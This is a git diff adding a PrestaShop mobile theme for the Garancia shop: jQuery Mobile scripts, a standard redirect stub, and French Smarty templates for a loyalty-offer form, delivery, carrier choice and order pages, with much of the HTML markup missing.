$(this).fadeIn('slow'); + }); + } + }); + return false; +} diff --git a/themes/default/mobile/js/index.php b/themes/default/mobile/js/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/themes/default/mobile/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/themes/default/mobile/js/jqm-docs.js b/themes/default/mobile/js/jqm-docs.js new file mode 100755 index 0000000..0e68ddb --- /dev/null +++ b/themes/default/mobile/js/jqm-docs.js @@ -0,0 +1,53 @@ +//set up the theme switcher on the homepage +$('div').live('pagecreate',function(event) +{ + if ( !$(this).is('.ui-dialog')) + { + var appendEl = $(this).find('.ui-footer:last'); + if ( !appendEl.length ) { + appendEl = $(this).find('.ui-content'); + } + if( appendEl.is("[data-position]") ) { + return; + } + /*$('Switch theme') + .buttonMarkup({ + 'icon':'gear', + 'inline': true, + 'shadow': false, + 'theme': 'd' + }) + .appendTo( appendEl ) + .wrap('
        ') + .bind( "vclick", function(){ + $.themeswitcher(); + });*/ + } +}); + +//collapse page navs after use +$(function() +{ + $('body').delegate('.content-secondary .ui-collapsible-content', 'click', function() { + $(this).trigger("collapse") + }); +}); + +function setDefaultTransition() +{ + var winwidth = $( window ).width(), + trans ="slide"; + if( winwidth >= 1000 ){ + trans = "none"; + } + else if( winwidth >= 650 ){ + trans = "fade"; + } + $.mobile.defaultPageTransition = trans; +} + +$(function() +{ + setDefaultTransition(); + $( window ).bind( "throttledresize", setDefaultTransition ); +}); \ No newline at end of file diff --git a/themes/default/mobile/js/jquery.mobile-1.3.0.min-save.js b/themes/default/mobile/js/jquery.mobile-1.3.0.min-save.js new file mode 100755 index 0000000..8d12031 --- /dev/null +++ b/themes/default/mobile/js/jquery.mobile-1.3.0.min-save.js @@ -0,0 +1,2 @@ +/*! jQuery Mobile vGit Build: SHA1: 3d48d6517f808550ee402a2859feedec13b0a3fe <> Date: Tue Feb 19 15:25:22 2013 -0800 jquerymobile.com | jquery.org/license !*/ +(function(a,b,c){typeof define=="function"&&define.amd?define(["jquery"],function(d){return c(d,a,b),d.mobile}):c(a.jQuery,a,b)})(this,document,function(a,b,c,d){(function(a){a.mobile={}})(a),function(a,b,d){var e={};a.mobile=a.extend(a.mobile,{version:"1.3.0",ns:"",subPageUrlKey:"ui-page",activePageClass:"ui-page-active",activeBtnClass:"ui-btn-active",focusClass:"ui-focus",ajaxEnabled:!0,hashListeningEnabled:!0,linkBindingEnabled:!0,defaultPageTransition:"fade",maxTransitionWidth:!1,minScrollBack:250,touchOverflowEnabled:!1,defaultDialogTransition:"pop",pageLoadErrorMessage:"Error Loading Page",pageLoadErrorMessageTheme:"e",phonegapNavigationEnabled:!1,autoInitializePage:!0,pushStateEnabled:!0,ignoreContentEnabled:!1,orientationChangeEnabled:!0,buttonMarkup:{hoverDelay:200},window:a(b),document:a(c),keyCode:{ALT:18,BACKSPACE:8,CAPS_LOCK:20,COMMA:188,COMMAND:91,COMMAND_LEFT:91,COMMAND_RIGHT:93,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,INSERT:45,LEFT:37,MENU:93,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106,NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SHIFT:16,SPACE:32,TAB:9,UP:38,WINDOWS:91},behaviors:{},silentScroll:function(c){a.type(c)!=="number"&&(c=a.mobile.defaultHomeScroll),a.event.special.scrollstart.enabled=!1,setTimeout(function(){b.scrollTo(0,c),a.mobile.document.trigger("silentscroll",{x:0,y:c})},20),setTimeout(function(){a.event.special.scrollstart.enabled=!0},150)},nsNormalizeDict:e,nsNormalize:function(b){if(!b)return;return e[b]||(e[b]=a.camelCase(a.mobile.ns+b))},getInheritedTheme:function(a,b){var c=a[0],d="",e=/ui-(bar|body|overlay)-([a-z])\b/,f,g;while(c){f=c.className||"";if(f&&(g=e.exec(f))&&(d=g[2]))break;c=c.parentNode}return d||b||"a"},closestPageData:function(a){return a.closest(':jqmData(role="page"), :jqmData(role="dialog")').data("mobile-page")},enhanceable:function(a){return this.haveParents(a,"enhance")},hijackable:function(a){return this.haveParents(a,"ajax")},haveParents:function(b,c){if(!a.mobile.ignoreContentEnabled)return b;var d=b.length,e=a(),f,g,h;for(var i=0;i").text(a(this).text()).html()},a.fn.jqmEnhanceable=function(){return a.mobile.enhanceable(this)},a.fn.jqmHijackable=function(){return a.mobile.hijackable(this)};var f=a.find,g=/:jqmData\(([^)]*)\)/g;a.find=function(b,c,d,e){return b=b.replace(g,"[data-"+(a.mobile.ns||"")+"$1]"),f.call(this,b,c,d,e)},a.extend(a.find,f),a.find.matches=function(b,c){return a.find(b,null,null,c)},a.find.matchesSelector=function(b,c){return a.find(c,null,null,[b]).length>0}}(a,this),function(a,b){var c=0,d=Array.prototype.slice,e=a.cleanData;a.cleanData=function(b){for(var c=0,d;(d=b[c])!=null;c++)try{a(d).triggerHandler("remove")}catch(f){}e(b)},a.widget=function(b,c,d){var e,f,g,h,i=b.split(".")[0];b=b.split(".")[1],e=i+"-"+b,d||(d=c,c=a.Widget),a.expr[":"][e.toLowerCase()]=function(b){return!!a.data(b,e)},a[i]=a[i]||{},f=a[i][b],g=a[i][b]=function(a,b){if(!this._createWidget)return new g(a,b);arguments.length&&this._createWidget(a,b)},a.extend(g,f,{version:d.version,_proto:a.extend({},d),_childConstructors:[]}),h=new c,h.options=a.widget.extend({},h.options),a.each(d,function(b,e){a.isFunction(e)&&(d[b]=function(){var a=function(){return c.prototype[b].apply(this,arguments)},d=function(a){return c.prototype[b].apply(this,a)};return function(){var b=this._super,c=this._superApply,f;return this._super=a,this._superApply=d,f=e.apply(this,arguments),this._super=b,this._superApply=c,f}}())}),g.prototype=a.widget.extend(h,{widgetEventPrefix:f?h.widgetEventPrefix:b},d,{constructor:g,namespace:i,widgetName:b,widgetFullName:e}),f?(a.each(f._childConstructors,function(b,c){var d=c.prototype;a.widget(d.namespace+"."+d.widgetName,g,c._proto)}),delete f._childConstructors):c._childConstructors.push(g),a.widget.bridge(b,g)},a.widget.extend=function(c){var e=d.call(arguments,1),f=0,g=e.length,h,i;for(;f",options:{disabled:!1,create:null},_createWidget:function(b,d){d=a(d||this.defaultElement||this)[0],this.element=a(d),this.uuid=c++,this.eventNamespace="."+this.widgetName+this.uuid,this.options=a.widget.extend({},this.options,this._getCreateOptions(),b),this.bindings=a(),this.hoverable=a(),this.focusable=a(),d!==this&&(a.data(d,this.widgetFullName,this),this._on(!0,this.element,{remove:function(a){a.target===d&&this.destroy()}}),this.document=a(d.style?d.ownerDocument:d.document||d),this.window=a(this.document[0].defaultView||this.document[0].parentWindow)),this._create(),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:a.noop,_getCreateEventData:a.noop,_create:a.noop,_init:a.noop,destroy:function(){this._destroy(),this.element.unbind(this.eventNamespace).removeData(this.widgetName).removeData(this.widgetFullName).removeData(a.camelCase(this.widgetFullName)),this.widget().unbind(this.eventNamespace).removeAttr("aria-disabled").removeClass(this.widgetFullName+"-disabled "+"ui-state-disabled"),this.bindings.unbind(this.eventNamespace),this.hoverable.removeClass("ui-state-hover"),this.focusable.removeClass("ui-state-focus")},_destroy:a.noop,widget:function(){return this.element},option:function(c,d){var e=c,f,g,h;if(arguments.length===0)return a.widget.extend({},this.options);if(typeof c=="string"){e={},f=c.split("."),c=f.shift();if(f.length){g=e[c]=a.widget.extend({},this.options[c]);for(h=0;h"+""+"

        "+"
        ",fakeFixLoader:function(){var b=a("."+a.mobile.activeBtnClass).first();this.element.css({top:a.support.scrollTop&&f.scrollTop()+f.height()/2||b.length&&b.offset().top||100})},checkLoaderPosition:function(){var b=this.element.offset(),c=f.scrollTop(),d=a.mobile.getScreenHeight();if(b.topd)this.element.addClass("ui-loader-fakefix"),this.fakeFixLoader(),f.unbind("scroll",this.checkLoaderPosition).bind("scroll",a.proxy(this.fakeFixLoader,this))},resetHtml:function(){this.element.html(a(this.defaultHtml).html())},show:function(b,g,h){var i,j,k,l;this.resetHtml(),a.type(b)==="object"?(l=a.extend({},this.options,b),b=l.theme||a.mobile.loadingMessageTheme):(l=this.options,b=b||a.mobile.loadingMessageTheme||l.theme),j=g||a.mobile.loadingMessage||l.text,e.addClass("ui-loading");if(a.mobile.loadingMessage!==!1||l.html)a.mobile.loadingMessageTextVisible!==d?i=a.mobile.loadingMessageTextVisible:i=l.textVisible,this.element.attr("class",c+" ui-corner-all ui-body-"+b+" ui-loader-"+(i||g||b.text?"verbose":"default")+(l.textonly||h?" ui-loader-textonly":"")),l.html?this.element.html(l.html):this.element.find("h1").text(j),this.element.appendTo(a.mobile.pageContainer),this.checkLoaderPosition(),f.bind("scroll",a.proxy(this.checkLoaderPosition,this))},hide:function(){e.removeClass("ui-loading"),a.mobile.loadingMessage&&this.element.removeClass("ui-loader-fakefix"),a.mobile.window.unbind("scroll",this.fakeFixLoader),a.mobile.window.unbind("scroll",this.checkLoaderPosition)}}),f.bind("pagecontainercreate",function(){a.mobile.loaderWidget=a.mobile.loaderWidget||a(a.mobile.loader.prototype.defaultHtml).loader()})}(a,this),function(a,b,d){function k(a){return a=a||location.href,"#"+a.replace(/^[^#]*#?(.*)$/,"$1")}var e="hashchange",f=c,g,h=a.event.special,i=f.documentMode,j="on"+e in b&&(i===d||i>7);a.fn[e]=function(a){return a?this.bind(e,a):this.trigger(e)},a.fn[e].delay=50,h[e]=a.extend(h[e],{setup:function(){if(j)return!1;a(g.start)},teardown:function(){if(j)return!1;a(g.stop)}}),g=function(){function n(){var c=k(),d=m(h);c!==h?(l(h=c,d),a(b).trigger(e)):d!==h&&(location.href=location.href.replace(/#.*/,"")+d),g=setTimeout(n,a.fn[e].delay)}var c={},g,h=k(),i=function(a){return a},l=i,m=i;return c.start=function(){g||n()},c.stop=function(){g&&clearTimeout(g),g=d},b.attachEvent&&!b.addEventListener&&!j&&function(){var b,d;c.start=function(){b||(d=a.fn[e].src,d=d&&d+k(),b=a('*} +
        + {/foreach} + {/if} +

         

        +

        {l s='5 produits achetés = 1 produit Offert* au choix'}

        +

        {l s='Pour profiter de notre avantage fidélité, il vous suffit de nous envoyer à :'} +
        {l s='GARANCIA, Offre Fidélité, 18 Avenue du Recteur Poincaré, 75016 PARIS'}

        +

        {l s='- Vos coordonnées en complétant le formulaire ci-dessous'} {l s='ou en indiquant ces informations au stylo à bille noir et en majuscule sur papier libre :'}

        +
        + +
        +
        +
        + + + +
        +
        + + +
        +
        + + +
        +
        + + +
        +
        + + +
        +
        + + +
        +
        + + +
        +
        + + +
        +
        + +
        +
        + {* + {l s='January'} + {l s='February'} + {l s='March'} + {l s='April'} + {l s='May'} + {l s='June'} + {l s='July'} + {l s='August'} + {l s='September'} + {l s='October'} + {l s='November'} + {l s='December'} + *} +
        + +
        +
        + +
        +
        +
        + + +
        +
        + + +
        +

        {l s='- Cochez votre indice de satisfaction sur les produits que vous avez testés :'} +
        {l s='1 = Très satisfaite, 2 = Satisfaite, 3 = Assez satisfaite,'}
        {l s='4 = Pas du tout satisfaite'}

        +
        + {if $generationProduits|@count>0} +
        + {assign var=id_category_default value=false} + + + {foreach from=$generationProduits item=produit} + {if $id_category_default!=$produit.id_category_default} + {assign var=id_category_default value=$produit.id_category_default} + + + + {/if} + + + + + + + + {/foreach} + +
        + {$produit.categoryName} : +
        {$produit.name}
        + +
        + {/if} + +
        +

        {l s='-Les 5 codes-barres originaux :'} {l s='Découpez les fonds d\'étui ou directement les tubes (pour les produits sans étui).'}

        +

        {l s='-Un chèque bancaire de 8,50 €'} {l s='à l\'ordre du'} {l s='Laboratoire Garancia'} {l s='correspondant à la participation aux frais d\'envoi et de traitement.'}

        +

        {l s='Vous recevrez sous environs 8 semaines votre produit offert.'} +
        {l s='Tout dossier incomplet ou illisible ne sera pas traité.'}

        + + +
        * {l s='Offre valable uniquement en France métropolitaine, Monaco et Corse'} +
        ** {l s='Assurer un meilleur suivi de votre dossier'} +
        *** {l s='Dans la limite des stocks disponibles. En cas de rupture de stock, Garancia se réserve le droit de vous adresser un autre produit.'} +

        {l s='Conformément à la loi informatique et libertés du 06/01/78, le consommateur a un droit d\'accès et de rectification sur les données le concernant en écrivant au Service Clients GARANCIA, 18 Avenue du Recteur Pointcaré, 75016 Paris.'} +
          +
        +
        +
        +
        + + + +
        diff --git a/themes/default/mobile/order-address.tpl b/themes/default/mobile/order-address.tpl new file mode 100755 index 0000000..908f2cf --- /dev/null +++ b/themes/default/mobile/order-address.tpl @@ -0,0 +1,360 @@ + + +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $opc} + {assign var="back_order_page" value="order-opc.php"} +{else} + {assign var="back_order_page" value="order.php"} +{/if} + +{* +** Retro compatibility for PrestaShop version < 1.4.2.5 with a recent theme +** Syntax smarty for v2 +*} + +{* Will be deleted for 1.5 version and more *} +{if !isset($formatedAddressFieldsValuesList)} + {$ignoreList.0 = "id_address"} + {$ignoreList.1 = "id_country"} + {$ignoreList.2 = "id_state"} + {$ignoreList.3 = "id_customer"} + {$ignoreList.4 = "id_manufacturer"} + {$ignoreList.5 = "id_supplier"} + {$ignoreList.6 = "date_add"} + {$ignoreList.7 = "date_upd"} + {$ignoreList.8 = "active"} + {$ignoreList.9 = "deleted"} + + {* PrestaShop 1.4.0.17 compatibility *} + {if isset($addresses)} + {foreach from=$addresses key=k item=address} + {counter start=0 skip=1 assign=address_key_number} + {$id_address = $address.id_address} + {foreach from=$address key=address_key item=address_content} + {if !in_array($address_key, $ignoreList)} + {$formatedAddressFieldsValuesList.$id_address.ordered_fields.$address_key_number = $address_key} + {$formatedAddressFieldsValuesList.$id_address.formated_fields_values.$address_key = $address_content} + {counter} + {/if} + {/foreach} + {/foreach} + {/if} +{/if} + + + + {capture name=path}{l s='Ma livraison'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} +
        +
        +

        [{l s='Ma livraison'}]

        + {assign var="current_step" value="shipping"} + {include file="$tpl_dir./order-opc-steps.tpl"} +
        +
        +
        + + +
        + +
        + +
        + + + +
        +
        + {include file="./order-carrier-simple-2.tpl"} +
        + {* +


        * {l s='Délai et participation aux frais de livraison pour la France métropolitaine, Corse et Monaco uniquement.'}

        +

        {l s='En savoir plus'}

        + *} +
        + +{if !$opc} + {include file="$tpl_dir./errors.tpl"} + +{else} +
        + +{/if} +
        +

        {l s='Choisissez une adresse de livraison'}

        +
        + +
        + + +
          isVirtualCart()}style="display:none;"{/if}> +
        +
        +

        {l s='Adresse de facturation'}

        +
        +
        + id_address_invoice == $cart->id_address_delivery || $addresses|@count == 1} checked="checked"{/if}/> + +
        +
        + id_address_invoice != $cart->id_address_delivery} checked="checked"{/if}/> + +
        +
        +
        +
        id_address_invoice == $cart->id_address_delivery}style="display: none;"{/if}> + +

        {l s='Choisissez une adresse de livraison'}

        +
        + {if $addresses|@count > 1} + + {else} + {l s='Add a new address'} + {/if} +
        +
        +
        +
          +
        +
        +
        +
        + {if $giftAllowed} +
        +
        +

        {l s='Vous souhaitez faire un cadeau ?'}

        +

        {l s='Personnalisez la carte cadeau qui accompagnera votre colis'}

        +

        + gift == 1 && $total_products_wt>=60}checked="checked"{/if} /> + + {if $gift_wrapping_price > 0} + + {/if} +

        + +

        + +

        +
        +
        + + + {if !$opc} +
        +

        +
        + {/if} + {/if} +
        +
        +{if !$opc} +

         

        +
        + +
        + + +

         

        + +{else} +{/if} + +
        + +
        +
        +
        +
        \ No newline at end of file diff --git a/themes/default/mobile/order-carrier-simple-2.tpl b/themes/default/mobile/order-carrier-simple-2.tpl new file mode 100755 index 0000000..ea6392e --- /dev/null +++ b/themes/default/mobile/order-carrier-simple-2.tpl @@ -0,0 +1,143 @@ +{if !$opc} + +{else} + +{/if} + +{if isset($virtual_cart) && !$virtual_cart && $giftAllowed && $cart->gift == 1} + +{/if} + + +{if !$opc} +
        +{else} +
        +{/if} + + + +
        + +
        + {if isset($carriers) && isset($HOOK_BEFORECARRIER)} + {$HOOK_BEFORECARRIER} + {/if} +
        +
        + {if isset($delivery_option_list)} + {foreach $delivery_option_list as $id_address => $option_list} +
        + {foreach $option_list as $key => $option} +
        +
        + +
        + +
        + {/foreach} +
        +
        {if isset($HOOK_EXTRACARRIER_ADDR) && isset($HOOK_EXTRACARRIER_ADDR.$id_address)}{$HOOK_EXTRACARRIER_ADDR.$id_address}{/if}
        + {foreachelse} +

        + {foreach $cart->getDeliveryAddressesWithoutCarriers(true) as $address} + {if empty($address->alias)} + {l s='No carriers available.'} + {else} + {l s='No carriers available for the address "%s".' sprintf=$address->alias} + {/if} + {if !$address@last} +
        + {/if} + {/foreach} +

        + {/foreach} + {/if} + +
        + + + +
        +
        + +
        diff --git a/themes/default/mobile/order-carrier-simple.tpl b/themes/default/mobile/order-carrier-simple.tpl new file mode 100755 index 0000000..343d450 --- /dev/null +++ b/themes/default/mobile/order-carrier-simple.tpl @@ -0,0 +1,144 @@ +{if !$opc} + +{else} + +{/if} + +{if isset($virtual_cart) && !$virtual_cart && $giftAllowed && $cart->gift == 1} + +{/if} + + +{if !$opc} +
        +{else} +
        +{/if} + + + +
        + +
        + {if isset($carriers) && isset($HOOK_BEFORECARRIER)} + {$HOOK_BEFORECARRIER} + {/if} +
        +
        + {if isset($delivery_option_list)} + {foreach $delivery_option_list as $id_address => $option_list} +
        + {foreach $option_list as $key => $option} +
        +
        + +
        + +
        + {/foreach} +
        +
        {if isset($HOOK_EXTRACARRIER_ADDR) && isset($HOOK_EXTRACARRIER_ADDR.$id_address)}{$HOOK_EXTRACARRIER_ADDR.$id_address}{/if}
        + {foreachelse} +

        + {foreach $cart->getDeliveryAddressesWithoutCarriers(true) as $address} + {if empty($address->alias)} + {l s='No carriers available.'} + {else} + {l s='No carriers available for the address "%s".' sprintf=$address->alias} + {/if} + {if !$address@last} +
        + {/if} + {/foreach} +

        + {/foreach} + {/if} + +
        + + + +
        +
        + +
        diff --git a/themes/default/mobile/order-carrier.tpl b/themes/default/mobile/order-carrier.tpl new file mode 100755 index 0000000..c8977a8 --- /dev/null +++ b/themes/default/mobile/order-carrier.tpl @@ -0,0 +1,251 @@ +{if $opc} + {assign var="back_order_page" value="order-opc.php"} +{else} + {assign var="back_order_page" value="order.php"} +{/if} + +{if !$opc} + +{else} + +{/if} + +{if isset($virtual_cart) && !$virtual_cart && $giftAllowed && $cart->gift == 1} + +{/if} + + +{if isset($empty)} +

        {l s='Your shopping cart is empty.'}

        +{elseif $PS_CATALOG_MODE} +

        {l s='This store has not accepted your new order.'}

        +{else} +
        + {hook h="displayMobileShoppingCartTop"} +
        +
        + {include file="$tpl_dir./errors.tpl"} + +

        {l s='Delivery methods'}

        + {if !$opc} + {assign var='current_step' value='shipping'} + {include file="$tpl_dir./errors.tpl"} + +
        + {else} +
        + + {/if} + + +
        + {if isset($virtual_cart) && $virtual_cart} + + {else} + +
        + {if isset($carriers) && isset($HOOK_BEFORECARRIER)} + {$HOOK_BEFORECARRIER} + {/if} +
        + {if isset($isVirtualCart) && $isVirtualCart} +

        {l s='No carrier is needed for this order.'}

        + {else} + {if $recyclablePackAllowed} +

        + + +

        + {/if} +
        + {if isset($delivery_option_list)} + {foreach $delivery_option_list as $id_address => $option_list} + +
        + {foreach $option_list as $key => $option} +
        + + +
        + {/foreach} +
        +
        {if isset($HOOK_EXTRACARRIER_ADDR) && isset($HOOK_EXTRACARRIER_ADDR.$id_address)}{$HOOK_EXTRACARRIER_ADDR.$id_address}{/if}
        + {foreachelse} +

        + {foreach $cart->getDeliveryAddressesWithoutCarriers(true) as $address} + {if empty($address->alias)} + {l s='No carriers available.'} + {else} + {l s='No carriers available for the address "%s".' sprintf=$address->alias} + {/if} + {if !$address@last} +
        + {/if} + {/foreach} +

        + {/foreach} + {/if} + +
        + + + {if $giftAllowed} +

        {l s='Gift'}

        +

        + gift == 1}checked="checked"{/if} /> + +
        +       + {if $gift_wrapping_price > 0} + ({l s='Additional cost of'} + + {if $priceDisplay == 1}{convertPrice price=$total_wrapping_tax_exc_cost}{else}{convertPrice price=$total_wrapping_cost}{/if} + + {if $use_taxes}{if $priceDisplay == 1} {l s='(tax excl.)'}{else} {l s='(tax incl.)'}{/if}{/if}) + {/if} +

        +

        + + +

        + {/if} + {/if} + {/if} + + {if $conditions AND $cms_id} +

        {l s='Terms of service'}

        +

        + + {l s='(Read the Terms of Service)'} +

        + + {/if} +
        + + + {if !$opc} +
        + + + +
        +
        + + {else} +
        + {/if} +
        +
        + {hook h="displayMobileShoppingCartBottom"} +
        +{/if} \ No newline at end of file diff --git a/themes/default/mobile/order-confirmation.tpl b/themes/default/mobile/order-confirmation.tpl new file mode 100755 index 0000000..9388d5c --- /dev/null +++ b/themes/default/mobile/order-confirmation.tpl @@ -0,0 +1,51 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='Order confirmation'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} +
        +

        [{l s='Confirmation'}
        {l s='de votre commande'}]

        +
        +{include file="$tpl_dir./errors.tpl"} + +{$HOOK_ORDER_CONFIRMATION} +{$HOOK_PAYMENT_RETURN} +

        {l s='Toute l\'équipe Garancia vous remercie pour votre confiance'}

        +

        {l s='Vous pouvez suivre l\'avancée de votre commande dans votre espace «Mon compte».'}

        +

        {l s='À très bientôt'}

        +
        +

        + {l s='Mon compte'} +

        +
        +
        +
        +
        +
        + +
        + + + diff --git a/themes/default/mobile/order-detail-product-li.tpl b/themes/default/mobile/order-detail-product-li.tpl new file mode 100755 index 0000000..9ba9c2b --- /dev/null +++ b/themes/default/mobile/order-detail-product-li.tpl @@ -0,0 +1,122 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{* > TO CHECK ==========================*} +{*if isset($product.customizedDatas)} +
      • + {if $return_allowed}{/if} +

        {$product.product_name|escape:'htmlall':'UTF-8'}

        +

        {l s='Reference'} {if $product.product_reference}{$product.product_reference|escape:'htmlall':'UTF-8'}{else}--{/if}

        +

        {l s='Quantity'}

        +
        {$product.customizationQuantityTotal|intval}
        +

        {l s='Unit price'} + {if $group_use_tax} + {convertPriceWithCurrency price=$product.unit_price_tax_incl currency=$currency} + {else} + {convertPriceWithCurrency price=$product.unit_price_tax_excl currency=$currency} + {/if} +

        +

        {l s='Total price'} + {if isset($customizedDatas.$productId.$productAttributeId)} + {if $group_use_tax} + {convertPriceWithCurrency price=$product.total_customization_wt currency=$currency} + {else} + {convertPriceWithCurrency price=$product.total_customization currency=$currency} + {/if} + {else} + {if $group_use_tax} + {convertPriceWithCurrency price=$product.total_price_tax_incl currency=$currency} + {else} + {convertPriceWithCurrency price=$product.total_price_tax_excl currency=$currency} + {/if} + {/if} +

        +
      • + {foreach from=$product.customizedDatas item='customization' key='customizationId'} +
      • + {if $return_allowed}

        {/if} +

        + {foreach from=$customization.datas key='type' item='datas'} + {if $type == $CUSTOMIZE_FILE} +

          + {foreach from=$datas item='data'} +
        • + {/foreach} +
        + {elseif $type == $CUSTOMIZE_TEXTFIELD} +
          {counter start=0 print=false} + {foreach from=$datas item='data'} + {assign var='customizationFieldName' value="Text #"|cat:$data.id_customization_field} +
        • {$data.name|default:$customizationFieldName}{l s=':'} {$data.value}
        • + {/foreach} +
        + {/if} + {/foreach} +

        +

        + {$customization.quantity|intval} +

        +
      • + {/foreach} +{/if*} +{* / TO CHECK ==========================*} + +{if $product.product_quantity > $product.customizationQuantityTotal} +
      • + {if $return_allowed}{/if} +

        + {if $product.download_hash && $invoice && $product.display_filename != ''} + {if isset($is_guest) && $is_guest} + id}&secure_key={$order->secure_key}")}" title="{l s='Download this product'}" data-ajax="false"> + {else} + + {/if} + {l s='Download product'} + {$product.product_name|escape:'htmlall':'UTF-8'} + + {else} + {$product.product_name|escape:'htmlall':'UTF-8'} + {/if} +

        +

        {l s='Reference'} {if $product.product_reference}{$product.product_reference|escape:'htmlall':'UTF-8'}{else}--{/if}

        +

        {l s='Quantity'}

        +
        {$productQuantity|intval}
        +

        {l s='Unit price'} + {if $group_use_tax} + {convertPriceWithCurrency price=$product.unit_price_tax_incl currency=$currency} + {else} + {convertPriceWithCurrency price=$product.unit_price_tax_excl currency=$currency} + {/if} +

        +

        {l s='Total price'} + {if $group_use_tax} + {convertPriceWithCurrency price=$product.total_price_tax_incl currency=$currency} + {else} + {convertPriceWithCurrency price=$product.total_price_tax_excl currency=$currency} + {/if} +

        + {if $return_allowed}{/if} +
      • +{/if} diff --git a/themes/default/mobile/order-detail.tpl b/themes/default/mobile/order-detail.tpl new file mode 100755 index 0000000..18d5581 --- /dev/null +++ b/themes/default/mobile/order-detail.tpl @@ -0,0 +1,431 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        +
        + + + + + + +
        {l s='Référence de la commande %s' sprintf=$order->getUniqReference()}
        {l s='- passée le'} {dateFormat date=$order->date_add full=0}
        {if $carrier->id}{l s='Carrier'} : {if $carrier->name == "0"}{$shop_name|escape:'htmlall':'UTF-8'}{else}{$carrier->name|escape:'htmlall':'UTF-8'}{/if}{/if}
        +
        +
        +

        [{l s='Suivi des commandes'}]

        +
        + +{if $order->gift} +

         {l s='You have requested gift wrapping for this order.'}

        +

        {l s='Message'} {$order->gift_message|nl2br}

        +{/if} +
        + +{if count($order_history)} +
        + + + + + + + + + {foreach from=$order_history item=state name="orderStates"} + + + + + {/foreach} + +
        {l s='Date'}{l s='Status'}
        {dateFormat date=$state.date_add full=1}{$state.ostate_name|escape:'htmlall':'UTF-8'}
        +
        +{/if} + +{if isset($followup)} +

        {l s='Click the following link to track the delivery of your order'}

        +{$followup|escape:'htmlall':'UTF-8'} +{/if} + +
        +

        {l s='Billing'}

        +
          + {foreach from=$inv_adr_fields name=inv_loop item=field_item} + {if $field_item eq "company" && isset($address_invoice->company)}
        • {$address_invoice->company|escape:'htmlall':'UTF-8'}
        • + {elseif $field_item eq "address2" && $address_invoice->address2}
        • {$address_invoice->address2|escape:'htmlall':'UTF-8'}
        • + {elseif $field_item eq "phone_mobile" && $address_invoice->phone_mobile}
        • {$address_invoice->phone_mobile|escape:'htmlall':'UTF-8'}
        • + {else} + {assign var=address_words value=" "|explode:$field_item} +
        • {foreach from=$address_words item=word_item name="word_loop"}{if !$smarty.foreach.word_loop.first} {/if}{$invoiceAddressFormatedValues[$word_item|replace:',':'']|escape:'htmlall':'UTF-8'}{/foreach}
        • + {/if} + + {/foreach} +
        +
        +
        +

